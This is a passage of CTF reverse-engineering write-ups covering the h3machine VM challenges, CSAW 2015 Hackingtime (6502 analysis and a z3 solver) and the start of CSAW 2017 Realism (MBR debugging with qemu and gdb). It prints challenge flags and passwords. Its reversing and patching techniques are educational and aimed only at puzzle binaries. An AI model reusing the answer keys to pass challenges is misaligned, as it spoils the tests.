As you can see, we only had to change one byte (the argument to the jz instruction). Let's try to run the patched version now (I used the `--trace` option so it printed all of the instructions, and the stack contents):

```
$    ./h3emu --trace challenge1-patched.h3i
0001: push 0000
0002: jz 0003
0003: push 8142
0004: lshift 0010
0005: push a9c0
0006: or
0007: setf 8000
0008: halt
Stack:
ffff: 00000000
fffe: flag{8142a9c0}

Registers:
IP: 0009
SP: fffe
Flags:   F
```

When we run the patched version, we can see that the rest of the code does run. Even more so, we can see that the flag is loaded onto the stack for us. Just like that, we captured the flag.

h3 h3machine2

For this part, I found it helpful to patch in halts into the code (just change the opcode for the instruction you want to break out to the opcode of halt which is 00)

Let's take a look at the assembly code for this challenge:

```
$    ./h3disasm challenge2.h3i
0001: 12040000 push 0000
0002: 60041400 call 0014
0003: 41040500 jz 0005
0004: 00000000 halt
0005: 10000000 drop
0006: 60042400 call 0024
0007: 41040900 jz 0009
0008: 00000000 halt
0009: 10000000 drop
000a: 60043400 call 0034
000b: 41040d00 jz 000d
000c: 00000000 halt
000d: 10000000 drop
000e: 60044400 call 0044
000f: 41041100 jz 0011
0010: 00000000 halt
0011: 10000000 drop
0012: 50040080 setf 8000
0013: 00000000 halt
0014: 11000000 swap
0015: 12040c10 push 100c
0016: 37041000 lshift 0010
0017: 1204852b push 2b85
0018: 31000000 or
0019: 21000000 sub
001a: 41041c00 jz 001c
001b: 61000000 ret
001c: 10000000 drop
001d: 12040c10 push 100c
001e: 37041000 lshift 0010
001f: 1204852b push 2b85
0020: 31000000 or
0021: 33000000 xor
0022: 12040000 push 0000
0023: 61000000 ret
0024: 11000000 swap
0025: 12040187 push 8701
0026: 37041000 lshift 0010
0027: 12049803 push 0398
0028: 31000000 or
0029: 21000000 sub
002a: 41042c00 jz 002c
002b: 61000000 ret
002c: 10000000 drop
002d: 12040187 push 8701
002e: 37041000 lshift 0010
002f: 12049803 push 0398
0030: 31000000 or
0031: 33000000 xor
0032: 12040000 push 0000
0033: 61000000 ret
```

```
0034: 11000000 swap
0035: 12040918 push 1809
0036: 37041000 lshift 0010
0037: 1204d9f0 push f0d9
0038: 31000000 or
0039: 21000000 sub
003a: 41043c00 jz 003c
003b: 61000000 ret
003c: 10000000 drop
003d: 12040918 push 1809
003e: 37041000 lshift 0010
003f: 1204d9f0 push f0d9
0040: 31000000 or
0041: 33000000 xor
0042: 12040000 push 0000
0043: 61000000 ret
0044: 11000000 swap
0045: 1204f5ab push abf5
0046: 37041000 lshift 0010
0047: 1204e7ed push ede7
0048: 31000000 or
0049: 21000000 sub
004a: 41044c00 jz 004c
004b: 61000000 ret
004c: 10000000 drop
004d: 1204f5ab push abf5
004e: 37041000 lshift 0010
004f: 1204e7ed push ede7
0050: 31000000 or
0051: 33000000 xor
0052: 12040000 push 0000
0053: 61000000 ret
```

First off the bat, we can see that there are 53 instructions (a lot more than the previous challenge). Before we start going through the assembly, let's run it:

```
$    ./h3emu --trace challenge2.h3i
0001: push 0000
0002: call 0014
0014: swap
Stack:

Registers:
IP: 0015
SP: 0000
Flags: Z
Stack underflow!
$    ./h3emu --trace challenge2.h3i 15935728
0001: push 0000
0002: call 0014
0014: swap
0015: push 100c
0016: lshift 0010
0017: push 2b85
0018: or
0019: sub
001a: jz 001c
001b: ret
0003: jz 0005
0004: halt
Stack:
ffff: 00000000
fffe: 05872ba3

Registers:
IP: 0005
SP: fffe
Flags:
```

So we can see that the program requires input. We can also see that our input that we entered doesn't appear to be on the stack, so after it scans it in it probably alters it.

At the start of the program, we can see that it calls the address 14. Let's see what that does:

```
0014: 11000000 swap
0015: 12040c10 push 100c
0016: 37041000 lshift 0010
0017: 1204852b push 2b85
0018: 31000000 or
0019: 21000000 sub
001a: 41041c00 jz 001c
```

So we can see that it pushes the hex value `0x100c` , shifts it over to the right by two bytes (so it is now 0x100c0000), then pushes `0x2b85` onto the stack. Proceeding that it ors the two hex strings together, leaving us with `0x100c2b85` , then runs the sub instruction with our input and that hex string. If the output is zero, it will jump to the address `001c`, so we probably need to give it the input `100c2b85` (with our input being a hex string) in order to pass this check (btw the program interprets our input as hex characters, not asci):

```
$    ./h3emu --trace challenge2.h3i 100c2b85
0001: push 0000
0002: call 0014
0014: swap
0015: push 100c
0016: lshift 0010
0017: push 2b85
0018: or
0019: sub
001a: jz 001c
001c: drop
001d: push 100c
001e: lshift 0010
001f: push 2b85
0020: or
0021: xor
0022: push 0000
0023: ret
0003: jz 0005
0005: drop
0006: call 0024
0024: swap
Stack:

Registers:
IP: 0025
SP: 0000
Flags: Z
Stack underflow!
```

So we can see that we passed the check. Proceeding that, it says that there is another Stack underflow, so we need to give it more input:

```
$    ./h3emu --trace challenge2.h3i 15935728 100c2b85
0001: push 0000
0002: call 0014
0014: swap
0015: push 100c
0016: lshift 0010
0017: push 2b85
0018: or
0019: sub
001a: jz 001c
001c: drop
001d: push 100c
001e: lshift 0010
001f: push 2b85
0020: or
0021: xor
0022: push 0000
0023: ret
0003: jz 0005
0005: drop
0006: call 0024
0024: swap
0025: push 8701
0026: lshift 0010
0027: push 0398
0028: or
0029: sub
002a: jz 002c
002b: ret
0007: jz 0009
0008: halt
Stack:
ffff: 100c2b85
fffe: 8e925390

Registers:
IP: 0009
SP: fffe
Flags:  C
```

So we can see with the new input, that there is a new check. This new check is seeing if our second input is equal to the hex string `87010398` . Let's see what happens when we pass it that hex string for the second input:

```
$    ./h3emu --trace challenge2.h3i 87010398 100c2b85
0001: push 0000
0002: call 0014
0014: swap
0015: push 100c
0016: lshift 0010
0017: push 2b85
0018: or
0019: sub
001a: jz 001c
001c: drop
001d: push 100c
001e: lshift 0010
001f: push 2b85
0020: or
0021: xor
0022: push 0000
0023: ret
0003: jz 0005
0005: drop
0006: call 0024
0024: swap
0025: push 8701
0026: lshift 0010
0027: push 0398
0028: or
0029: sub
002a: jz 002c
002c: drop
002d: push 8701
002e: lshift 0010
002f: push 0398
0030: or
0031: xor
0032: push 0000
0033: ret
0007: jz 0009
0009: drop
000a: call 0034
0034: swap
Stack:

Registers:
IP: 0035
SP: 0000
Flags: Z
Stack underflow!
```

So we can see that we passed the check, and it expects more input. So for the first two checks, it just sees if our input is equal to a certain hex string. Let's see how far we can get by essentially replacing the same process of sending it the hex string that it looks for:

```
$    ./h3emu --trace challenge2.h3i 15935728 87010398 100c2b85
0001: push 0000
0002: call 0014
0014: swap
0015: push 100c
0016: lshift 0010
0017: push 2b85
0018: or
0019: sub
001a: jz 001c
001c: drop
001d: push 100c
001e: lshift 0010
001f: push 2b85
0020: or
0021: xor
0022: push 0000
0023: ret
0003: jz 0005
0005: drop
0006: call 0024
0024: swap
0025: push 8701
0026: lshift 0010
0027: push 0398
0028: or
0029: sub
002a: jz 002c
002c: drop
002d: push 8701
002e: lshift 0010
002f: push 0398
0030: or
0031: xor
0032: push 0000
0033: ret
0007: jz 0009
0009: drop
000a: call 0034
0034: swap
0035: push 1809
0036: lshift 0010
0037: push f0d9
0038: or
0039: sub
003a: jz 003c
003b: ret
000b: jz 000d
000c: halt
Stack:
ffff: 970d281d
fffe: fd89664f
```

```
Registers:
IP: 000d
SP: fffe
Flags:  C
```

```
$    ./h3emu --trace challenge2.h3i 1809f0d9 87010398 100c2b85
0001: push 0000
0002: call 0014
0014: swap
0015: push 100c
0016: lshift 0010
0017: push 2b85
0018: or
0019: sub
001a: jz 001c
001c: drop
001d: push 100c
001e: lshift 0010
001f: push 2b85
0020: or
0021: xor
0022: push 0000
0023: ret
0003: jz 0005
0005: drop
0006: call 0024
0024: swap
0025: push 8701
0026: lshift 0010
0027: push 0398
0028: or
0029: sub
002a: jz 002c
002c: drop
002d: push 8701
002e: lshift 0010
002f: push 0398
0030: or
0031: xor
0032: push 0000
0033: ret
0007: jz 0009
0009: drop
000a: call 0034
0034: swap
0035: push 1809
0036: lshift 0010
0037: push f0d9
0038: or
0039: sub
003a: jz 003c
003c: drop
003d: push 1809
003e: lshift 0010
003f: push f0d9
0040: or
0041: xor
```

```
0042: push 0000
0043: ret
000b: jz 000d
000d: drop
000e: call 0044
0044: swap
Stack:

Registers:
IP: 0045
SP: 0000
Flags: Z
Stack underflow!
```

```
$    ./h3emu --trace challenge2.h3i 15935728 1809f0d9 87010398 100c2b85
0001: push 0000
0002: call 0014
0014: swap
0015: push 100c
0016: lshift 0010
0017: push 2b85
0018: or
0019: sub
001a: jz 001c
001c: drop
001d: push 100c
001e: lshift 0010
001f: push 2b85
0020: or
0021: xor
0022: push 0000
0023: ret
0003: jz 0005
0005: drop
0006: call 0024
0024: swap
0025: push 8701
0026: lshift 0010
0027: push 0398
0028: or
0029: sub
002a: jz 002c
002c: drop
002d: push 8701
002e: lshift 0010
002f: push 0398
0030: or
0031: xor
0032: push 0000
0033: ret
0007: jz 0009
0009: drop
000a: call 0034
0034: swap
0035: push 1809
0036: lshift 0010
0037: push f0d9
0038: or
0039: sub
003a: jz 003c
003c: drop
003d: push 1809
003e: lshift 0010
003f: push f0d9
0040: or
0041: xor
```

```
0042: push 0000
0043: ret
000b: jz 000d
000d: drop
000e: call 0044
0044: swap
0045: push abf5
0046: lshift 0010
0047: push ede7
0048: or
0049: sub
004a: jz 004c
004b: ret
000f: jz 0011
0010: halt
Stack:
ffff: 8f04d8c4
fffe: 699d6941

Registers:
IP: 0011
SP: fffe
Flags:  C
```

```
./h3emu --trace challenge2.h3i abf5ede7 1809f0d9 87010398 100c2b85
0001: push 0000
0002: call 0014
0014: swap
0015: push 100c
0016: lshift 0010
0017: push 2b85
0018: or
0019: sub
001a: jz 001c
001c: drop
001d: push 100c
001e: lshift 0010
001f: push 2b85
0020: or
0021: xor
0022: push 0000
0023: ret
0003: jz 0005
0005: drop
0006: call 0024
0024: swap
0025: push 8701
0026: lshift 0010
0027: push 0398
0028: or
0029: sub
002a: jz 002c
002c: drop
002d: push 8701
002e: lshift 0010
002f: push 0398
0030: or
0031: xor
0032: push 0000
0033: ret
0007: jz 0009
0009: drop
000a: call 0034
0034: swap
0035: push 1809
0036: lshift 0010
0037: push f0d9
0038: or
0039: sub
003a: jz 003c
003c: drop
003d: push 1809
003e: lshift 0010
003f: push f0d9
0040: or
0041: xor
```

```
0042: push 0000
0043: ret
000b: jz 000d
000d: drop
000e: call 0044
0044: swap
0045: push abf5
0046: lshift 0010
0047: push ede7
0048: or
0049: sub
004a: jz 004c
004c: drop
004d: push abf5
004e: lshift 0010
004f: push ede7
0050: or
0051: xor
0052: push 0000
0053: ret
000f: jz 0011
0011: drop
0012: setf 8000
0013: halt
Stack:
ffff: flag{24f13523}

Registers:
IP: 0014
SP: ffff
Flags: Z F
```

Just like that, we captured the flag.

h3 h3machine3

For this challenge, let's look at the assembly code:

```
$    ./h3disasm challenge3.h3i
0001: 12010000 push +0000
0002: 12040400 push 0004
0003: 11000000 swap
0004: 12010100 push +0001
0005: 32000000 not
0006: 1204ff00 push 00ff
0007: 30000000 and
0008: 33000000 xor
0009: 38040800 rotate 0008
000a: 11000000 swap
000b: 21040100 sub 0001
000c: 41040e00 jz 000e
000d: 40040300 jmp 0003
000e: 11000000 swap
000f: 21021600 sub $0016
0010: 41041200 jz 0012
0011: 40041500 jmp 0015
0012: 10000000 drop
0013: 10000000 drop
0014: 50040080 setf 8000
0015: 00000000 halt
0016: 5b6d517c
```

So this program only has 16 instructions. However we can see what appears to be a for loop here:

```
0002: 12040400 push 0004
0003: 11000000 swap
0004: 12010100 push +0001
0005: 32000000 not
0006: 1204ff00 push 00ff
0007: 30000000 and
0008: 33000000 xor
0009: 38040800 rotate 0008
000a: 11000000 swap
000b: 21040100 sub 0001
000c: 41040e00 jz 000e
000d: 40040300 jmp 0003
```

Here what is happening is it is pushing the value `0004` onto the stack, running the binary operation not on it to give us `fffb`, then anding it with `00ff` to give us `00fb`. Proceeding that xors that with our input, so effectively xoring the least significant byte of our input with `fb`. Then it shifts our input to the right by `0x8` bits (or one byte). Proceeding that it decrements the iteration count by one, and if it is not equal to zero it will rerun the loop. Let's see how many times it runs:

```
$    ./h3emu --trace challenge3.h3i 00000000
0001: push +0000
0002: push 0004
0003: swap
0004: push +0001
0005: not
0006: push 00ff
0007: and
0008: xor
0009: rotate 0008
000a: swap
000b: sub 0001
000c: jz 000e
000d: jmp 0003
0003: swap
0004: push +0001
0005: not
0006: push 00ff
0007: and
0008: xor
0009: rotate 0008
000a: swap
000b: sub 0001
000c: jz 000e
000d: jmp 0003
0003: swap
0004: push +0001
0005: not
0006: push 00ff
0007: and
0008: xor
0009: rotate 0008
000a: swap
000b: sub 0001
000c: jz 000e
000d: jmp 0003
0003: swap
0004: push +0001
0005: not
0006: push 00ff
0007: and
0008: xor
0009: rotate 0008
000a: swap
000b: sub 0001
000c: jz 000e
000e: swap
000f: sub $0016
0010: jz 0012
0011: jmp 0015
0015: halt
Stack:
```

```
ffff: 00000000
fffe: 00000000
fffd: 82ac8fa0

Registers:
IP: 0016
SP: fffd
Flags:
```

So here we can see that the loop is ran 4 times. So effectively it just xors each byte of our input (with our input being a hex string). One thing to notice is that the byte it xors our input by is incremented by one each time the loop is run. So our least significant byte is xored by `0xfb`, or second least significant byte is xored by `0xfc`, our third by `0xfd`, and our fourth by `0xfe`.

Continuing after that process, let's look at what happens when the loop finishes:

```
000e: 11000000 swap
000f: 21021600 sub $0016
0010: 41041200 jz 0012
0011: 40041500 jmp 0015
0012: 10000000 drop
0013: 10000000 drop
0014: 50040080 setf 8000
0015: 00000000 halt
0016: 5b6d517c
```

So looking here, we can essentially see that it is subtracting the result of the previous loop by `0x7c516d5b` (remember we are dealing with a least-endian architecture here) is equal to zero. So effectively in order to solve this challenge, we just have to find out what hex string will output `0x7c516d5b` from the previous loop. Since we have what the output should be, and what it is being xored by, we can just xor the two together to get the input:

```
>>> hex(0x5b ^ 0xfb)
'0xa0'
>>> hex(0x6d ^ 0xfc)
'0x91'
>>> hex(0x51 ^ 0xfd)
'0xac'
>>> hex(0x7c ^ 0xfe)
'0x82'
```

and when we put it all toghether:

```
$       ./h3emu --trace challenge3.h3i 82ac91a0
0001: push +0000
0002: push 0004
0003: swap
0004: push +0001
0005: not
0006: push 00ff
0007: and
0008: xor
0009: rotate 0008
000a: swap
000b: sub 0001
000c: jz 000e
000d: jmp 0003
0003: swap
0004: push +0001
0005: not
0006: push 00ff
0007: and
0008: xor
0009: rotate 0008
000a: swap
000b: sub 0001
000c: jz 000e
000d: jmp 0003
0003: swap
0004: push +0001
0005: not
0006: push 00ff
0007: and
0008: xor
0009: rotate 0008
000a: swap
000b: sub 0001
000c: jz 000e
000d: jmp 0003
0003: swap
0004: push +0001
0005: not
0006: push 00ff
0007: and
0008: xor
0009: rotate 0008
000a: swap
000b: sub 0001
000c: jz 000e
000e: swap
000f: sub $0016
0010: jz 0012
0012: drop
0013: drop
0014: setf 8000
```

```
0015: halt
Stack:
ffff: flag{82ac91a0}

Registers:
IP: 0016
SP: ffff
Flags: Z F
```

Just like that we captured the flag!

Emulation

CSAW 2015 Hackingtime

This writeups is based off of this writeup:

```
http://bruce30262.logdown.com/posts/301384--csaw-ctf-2015-hacking-time
```

Let's take a look at the binary the gave us:

```
$    file HackingTime.nes
HackingTime.nes: iNES ROM dump, 2x16k PRG, 1x8k CHR, [Vert.]
```

So we are give an NES ROM image. This means we are going to need an NES ROM/Debugger. I used the Windows version of FCEUX which you can get here:

```
http://www.fceux.com/web/download.html
```

Now when we launch the ROM with the debugger, we are presented with a little story, then tasked with figuring out a password (`f` is basically `A`). Let's just select the password `0123456789ABCDEFGHIJKM` (don't check it) and see what the memory looks like with Debug>Hex Editor:

```
000000: 4A 91 00 40 00 30 31 32 33 34 35 36 37 38 39 41
000010: 42 43 44 45 45 46 47 48 49 4A 4B 4C 4D 00 00 00
000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
000030: 00 00 00 00 00 00 4D 00 00 BB 97 C0 00 17 23 1C
```

So we can see that our password is stored in hex starting at 0x5 with `0x30` and goes all the way to 0x1C with `4D`. We can also see that it has a null byte before and after the string. So our string in total is 24 characters, and even if we leave it blank it still has the hex value 0x20 so it's just a space character. So we can assume that the password is 24 characters long.

Let's give it the password and see how the memory changes:

```
000000: 4A 91 00 40 00 30 31 32 33 34 35 36 37 38 39 41
000010: 42 43 44 45 45 46 47 48 49 4A 4B 4C 4D 00 3F FF
000020: A2 F0 65 AC 26 9F DF CF 35 CF 3F 45 5C 98 E9 3B
000030: CF 32 80 ED 32 0E 4D 00 00 BB 97 C0 00 17 23 1C
```

So we can see that the memory has changed, starting at 0x1E, directly after the null byte after our password, we see 24 bytes of data has been written, the same length as our password. So it looks like the password algorithm reads the password from memory here, runs it through an algorithm, and then stores the output in memory starting at 0x1E. We can find the code for the algorithm by setting a read breakpoint at 0x5 or at any part of the password. To set a read breakpoint, just right click and set the breakpoint. Then just reenter the password, and we can see the 6502 assembly code for the password algorithm:

```
 00:82F1:A0 00     LDY #$00
 00:82F3:A9 00     LDA #$00
 00:82F5:85 3B     STA $003B = #$00
>00:82F7:B9 05 00  LDA $0005,Y @ $0005 = #$30
 00:82FA:AA        TAX
 00:82FB:2A        ROL
 00:82FC:8A        TXA
 00:82FD:2A        ROL
 00:82FE:AA        TAX
 00:82FF:2A        ROL
 00:8300:8A        TXA
 00:8301:2A        ROL
 00:8302:AA        TAX
 00:8303:2A        ROL
 00:8304:8A        TXA
 00:8305:2A        ROL
 00:8306:48        PHA
 00:8307:A5 3B     LDA $003B = #$00
 00:8309:AA        TAX
 00:830A:6A        ROR
 00:830B:8A        TXA
 00:830C:6A        ROR
 00:830D:AA        TAX
 00:830E:6A        ROR
 00:830F:8A        TXA
 00:8310:6A        ROR
 00:8311:85 3B     STA $003B = #$00
 00:8313:68        PLA
 00:8314:18        CLC
 00:8315:65 3B     ADC $003B = #$00
 00:8317:59 5E 95  EOR $955E,Y @ $955E = #$70
 00:831A:85 3B     STA $003B = #$00
 00:831C:AA        TAX
 00:831D:2A        ROL
 00:831E:8A        TXA
 00:831F:2A        ROL
 00:8320:AA        TAX
 00:8321:2A        ROL
 00:8322:8A        TXA
 00:8323:2A        ROL
 00:8324:AA        TAX
 00:8325:2A        ROL
 00:8326:8A        TXA
 00:8327:2A        ROL
 00:8328:AA        TAX
 00:8329:2A        ROL
 00:832A:8A        TXA
 00:832B:2A        ROL
 00:832C:59 76 95  EOR $9576,Y @ $9576 = #$20
 00:832F:99 1E 00  STA $001E,Y @ $001E = #$00
 00:8332:C8        INY
 00:8333:C0 18     CPY #$18
```

```
00:8335:D0 C0     BNE $82F7
00:8337:A0 00     LDY #$00
00:8339:B9 1E 00  LDA $001E,Y @ $001E = #$00
00:833C:D0 08     BNE $8346
00:833E:C8        INY
00:833F:C0 18     CPY #$18
00:8341:D0 F6     BNE $8339
00:8343:A9 01     LDA #$01
00:8345:60        RTS -----------------------------------------
```

Let's break this up into pieces to reverse. To help with this, I've set execute breakpoints at the memory address `8307`, `8311`, `8317`, `831A`, `832C`, and `832F`.

```
00:82F1:A0 00     LDY #$00
00:82F3:A9 00     LDA #$00
00:82F5:85 3B     STA $003B = #$00
```

This code just loads the accumulator and y registers with the value `0x0`, and then also stores the same value in the memory location 0x3B, which we can see with the hex editor is that value (it's stored a few bytes over from the password output), which we will be using later. So effectively this converts into the following Python code:

```
i = 0
y = 0
```

```
00:82F7:B9 05 00  LDA $0005,Y @ $0005 = #$30
00:82FA:AA        TAX
00:82FB:2A        ROL
00:82FC:8A        TXA
00:82FD:2A        ROL
00:82FE:AA        TAX
00:82FF:2A        ROL
00:8300:8A        TXA
00:8301:2A        ROL
00:8302:AA        TAX
00:8303:2A        ROL
00:8304:8A        TXA
00:8305:2A        ROL
00:8306:48        PHA
```

So we can see here that it loads the password character from memory into the accumulator register, then rotates it by to the left. Let's check it by hand:

```
0x30:    00110000

Shifted by 1 to the left
0x60:    01100000

Shifted by 2 to the left
0xc0:    11000000

Shifted by 3 to the left
0x81:    10000001
```

As we can see, the value we got by doing it by hand is the same that is currently in the accumulator register, so we should be correct. Lastly we see that there is a `PHA` instruction, which pushes whatever is in the Accumulator register to the stack, since we need to clear the accumulator register for other operations however still hold the value 0x81. So this assembly code converts to the following python code:

```
x = RotateLeft(inp[i], 3)
```

```
 00:8307:A5 3B     LDA $003B = #$00
 00:8309:AA        TAX
 00:830A:6A        ROR
 00:830B:8A        TXA
 00:830C:6A        ROR
 00:830D:AA        TAX
 00:830E:6A        ROR
 00:830F:8A        TXA
 00:8310:6A        ROR
>00:8311:85 3B     STA $003B = #$00
```

Here we can see that the value of whatever is stored at 0x3B is being loaded into the accumulator register, shifted to the right twice, then written to 0x3B. We know that the value stored at 0x3B is zero, and zero shifted to the right or left however many times is still zero, so the value of the accumulator register should be 0 (which it is). This assembly code converts into the following python code:

```
y = BitVecVal(0, 8)
y = BitVecVal(0, 8)
```

```
 00:8313:68        PLA
 00:8314:18        CLC
 00:8315:65 3B     ADC $003B = #$00
```

Here we can see that it pulls the 0x81 function back from the stack and into the accumulator register, then adds the value of 0x3B to it, and stores the output in the accumulator register. Since the value at 0x3B is zero, the accumulator remains at the value of 0x81. So this translates into the following python code:

```
x = x + y
```

```
 00:8317:59 5E 95  EOR $955E,Y @ $955E = #$70
 00:831A:85 3B     STA $003B = #$00
```

Here we can see it xors the accumulator register with the value stored in memory at 0x955E, which we can see from the hex editor is this

```
70 30 53 A1 D3 70 3F 64 B3 16 E4 04 5F 3A EE 42 B1 A1 37 15 6E 88 2A AB
```

So we can see that just like our password this has 24 bytes. In addition to that we can see that it is xoring our first character (well where it is in the encryption process) with the first character of the hex string, so it should xor our second character with the second bit, third with the third, etc. Let's do the xor by hand:

```
0x81:    10000001
0x70:    01110000

Xor:    11110001 = 0xF1
```

so when we did the xor, we see that we got the value 0xF1, which is the same as the value stored in the accumulator register, so that checks out. Lastly we see that it writes the value of the accumulator to 0x3B, so this assembly code converts to the following python code:

```
xor1 = "703053A1D3703F64B316E4045F3AEE42B1A137156E882AAB".decode("hex")
x = x ^ xor1[i]
y = x
```

```
 00:831C:AA        TAX
 00:831D:2A        ROL
 00:831E:8A        TXA
 00:831F:2A        ROL
 00:8320:AA        TAX
 00:8321:2A        ROL
 00:8322:8A        TXA
 00:8323:2A        ROL
 00:8324:AA        TAX
 00:8325:2A        ROL
 00:8326:8A        TXA
 00:8327:2A        ROL
 00:8328:AA        TAX
 00:8329:2A        ROL
 00:832A:8A        TXA
 00:832B:2A        ROL
```

So we can see again that it is shifting the accumulator register over to the left, this time by 4. At the start of this operation, the accumulator register is equal to 0xF1, so let's work this out by hand and check it:

```
0xF1:    11110001

Shifted 1 to the left
0xE3:    11100011

Shifted 2 to the left
0xC7:    11000111

Shifted 3 to the left
0x8F:    10001111

Shifted 4 to the left
0x1F:    00011111
```

So at the end, we should have the value 0x1F in the accumulator register which we do. So this assembly code converts to the following python code:

```
x = RotateLeft(x, 4)
```

```
 00:832C:59 76 95  EOR $9576,Y @ $9576 = #$20
>00:832F:99 1E 00  STA $001E,Y @ $001E = #$00
```

Here we see another `EOR` instruction which xors the accumulator register with the value stored at 9576:

```
20 AC 7A 25 D7 9C C2 1D 58 D0 13 25 96 6A DC 7E 2E B4 B4 10 CB 1D C2 66
```

We can also see that it xors the bytes in the same order as the previous xor, so the first character by 0x20, second by 0xAC, third by 0x7A. After that we see that it writes the value stored in the accumulator register to the memory address 0x1E, which we can see is the next byte after the null terminator that ends out password, which is where we would expect the output of the function to go to (based upon our previous findings). So this converts to the following python code:

```
xor2 = "20AC7A25D79CC21D58D01325966ADC7E2EB4B410CB1DC266".decode("hex")
x = x ^ xor2[i]
```

```
00:8332:C8        INY
00:8333:C0 18     CPY #$18
00:8335:D0 C0     BNE $82F7
00:8337:A0 00     LDY #$00
00:8339:B9 1E 00  LDA $001E,Y @ $001F = #$FF
00:833C:D0 08     BNE $8346
00:833E:C8        INY
00:833F:C0 18     CPY #$18
00:8341:D0 F6     BNE $8339
00:8343:A9 01     LDA #$01
```

I didn't set a breakpoint after this, however, we don't need to to see what it is doing. First it increments the `Y` register by one, then checks to see if it is equal to 0x18 (which is the same length as our password). If it isn't then it jumps back to the start of this function and runs the encryption algorithm. After that it will load a zero into the Y register, load the value of the output of the encryption algorithm (this case stored at 0x1E) and compare them. If not it will branch to a function at 0x8346 which essentially just fails us (if we go there, we fail the password check). If it doesn't fail, then it simply loop through checking the output for each character of the password. So essentially this checks to see if the output of the encryption algorithm is zero for all of the characters, and does the work of a for loop which converts to the following python code:

```
for i in xrange(24):
    if x[i] != 0:
        break
```

So we know how the encryption algorithm works, and what output we need. Now we can just use z3 solver, which is a theorem prover designed by Microsoft to find the input needed to get the output we need (24 zeros). Quick Z3 solver intro, you can give it a formula, it will tell you if it can be solved, and some values to solve it:

```
$    python
Python 2.7.13 (default, Jan 19 2017, 14:48:08)
[GCC 6.3.0 20170118] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from z3 import *
>>> x = Int('x')
>>> y = Int('y')
>>> z = Solver()
>>> z.add(x > y, y < 5)
>>> z.check()
sat
>>> z.model()
[y = 4, x = 5]
```

As we can see, we established two integers and a solver, added a constraint to the solver, checked the solver to ensure that it is satisfiable, then modeled it to see what values will actually satisfy it. keep in mind since the registers is 6502 assembly can only have 8 bits, we have to treat them as only capable of 8 bits in our python. Now we can use this tool in the same manner to find what input will give us 24 zeroes, with having the encryption algorithm be the constraints. here is the python code for it:

```
#First import the z3 library
from z3 import *

#Import the two hex strings which we will be xoring
xor1 = [ 0x70, 0x30, 0x53, 0xA1, 0xD3, 0x70, 0x3F, 0x64, 0xB3, 0x16, 0xE4, 0x04,
0x5F, 0x3A, 0xEE, 0x42, 0xB1, 0xA1, 0x37, 0x15, 0x6E, 0x88, 0x2A, 0xAB]
xor2 = [ 0x20, 0xAC, 0x7A, 0x25, 0xD7, 0x9C, 0xC2, 0x1D, 0x58, 0xD0, 0x13, 0x25,
0x96, 0x6A, 0xDC, 0x7E, 0x2E, 0xB4, 0xB4, 0x10, 0xCB, 0x1D, 0xC2, 0x66]


def decrypt(inp, z):
    #Define the encryption algorithm constraints
    y = BitVecVal(0, 8)
    for i in xrange(24):
        x = RotateLeft(inp[i], 3)
        y = RotateRight(y, 2)
        x = x + y
        x = x ^ xor1[i]
        y = x
        x = RotateLeft(x, 4)
        x = x ^ xor2[i]
        z.add(x == 0)

    #Check if the conditions are satisfiable, if it is model it and get the
password
    if z.check() == sat:
        print "The condition is: " + str(z.check())
        solve = z.model()
        cred = ""
        #Sort out the data, and print the passord
        for i in xrange(24):
            cred = cred + chr(int(str(solve[inp[i]])))
        print cred
    else:
        #Something failed and the condition isn't satisifiable, I would
recogmend crying
        print "The condition is: " + str(z.check())


#Establish the solver, and the input array
z = Solver()
inp = []

#We need to add an 8 bit vector for every character in our password
for i in xrange(24):
    b = BitVec("%d" % i, 8)
    inp.append(b)

#Now pass the list, and the solver to the decrypt function
decrypt(inp, z)
```

and when we run it:

```
$    python rev.py
The condition is: sat
NOHACK4UXWRATHOFKFUHRERX
```

So we get the string `NOHACK4UXWRATHOFKFUHRERX` which happens to be the password, and also the flag for this challenge. Just like that we solved this challenge!

Csaw 17 Reversing 400 Realism

This writeup is based off of: `https://github.com/DMArens/CTF-Writeups/blob/master/2017/CSAWQuals/reverse/realism-400.md`

Let's take a look at what we have:

```
$    file main.bin
main.bin: DOS/MBR boot sector
```

So we are given a boot record. We are also given the command `qemu-system-i386 -drive format=raw,file=main.bin`, which when we run it displays a screen which prompts us for the flag. Also I wouldn't recommend doing this challenge on Ubuntu 19.04.

MBR

x86 Real Mode 16

A couple of things about Master Boot Records that are extremely helpful to know going forward. They are always loaded into memory at the address `0x7c00`. So in gdb, we can just look at the assembly code by examining the memory starting at `0x7c00`. Secondly the code for this program is a sixteen bit assembly, in the `i8086` architecture. You will have to load it as an `x86` processor of size `16` in Ghidra. The third thing, in Ghidra when you load in the binary code will start at the address `0x0`. If you want, you can reload the binary to start at the address `0x7c00`, because that is what the address `0x0` will correlate to when it runs. For instance the address `0x1dc` in Ghidra would translate to the address `0x7ddc` when it runs (I use both address types interchangeably)

Dynamic Analysis

When reversing this, using gdb to analyze the program as it is running is very helpful. Luckily for us, qemu has built in gdb support with the `-gdb` flag. Here is the command you need to run if you want to run the program with a listener on port `1234` (ip is localhost) for gdb:

```
$    qemu-system-i386 -drive format=raw,file=main.bin -gdb tcp::1234
```

and if you want to connect to the listener on localhost on port `1234` (before that we will set the architecture to `i8086`, so we can view the instructions properly):

```
gef➤  set architecture i8086
warning: A handler for the OS ABI "GNU/Linux" is not built into this
configuration
of GDB.  Attempting to continue with the default i8086 settings.

The target architecture is assumed to be i8086
gef➤  target remote localhost:1234
Remote debugging using localhost:1234
warning: No executable has been specified and target does not support
determining executable automatically.  Try using the "file" command.
0x0000b601 in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────── registers ────
[!] Command 'context' failed to execute properly, reason: 'NoneType' object has
no attribute 'all_registers'
gef➤  i r
eax            0x0                 0x0
ecx            0xb5e5              0xb5e5
edx            0x0                 0x0
ebx            0xdc80              0xdc80
esp            0x6efa              0x6efa
ebp            0x1234              0x1234
esi            0xfbb8              0xfbb8
edi            0x0                 0x0
eip            0xb601              0xb601
eflags         0x246               [ PF ZF IF ]
cs             0xf000              0xf000
ss             0x0                 0x0
ds             0x0                 0x0
es             0xdc80              0xdc80
fs             0x0                 0x0
gs             0x0                 0x0
```

Now that we have attached the process to gdb, let's see if the instructions begin where we would expect them to at `0x7c00`:

```
gef➤  x/4g 0x7c00
0x7c00: 0xc0200f10cd0013b8  0x220f02c883fbe083
0x7c10: 0x0f06000de0200fc0  0x000a126606c7e022
```

When we check the instructions / opcodes in Ghidra:

```
                              //
                              // ram
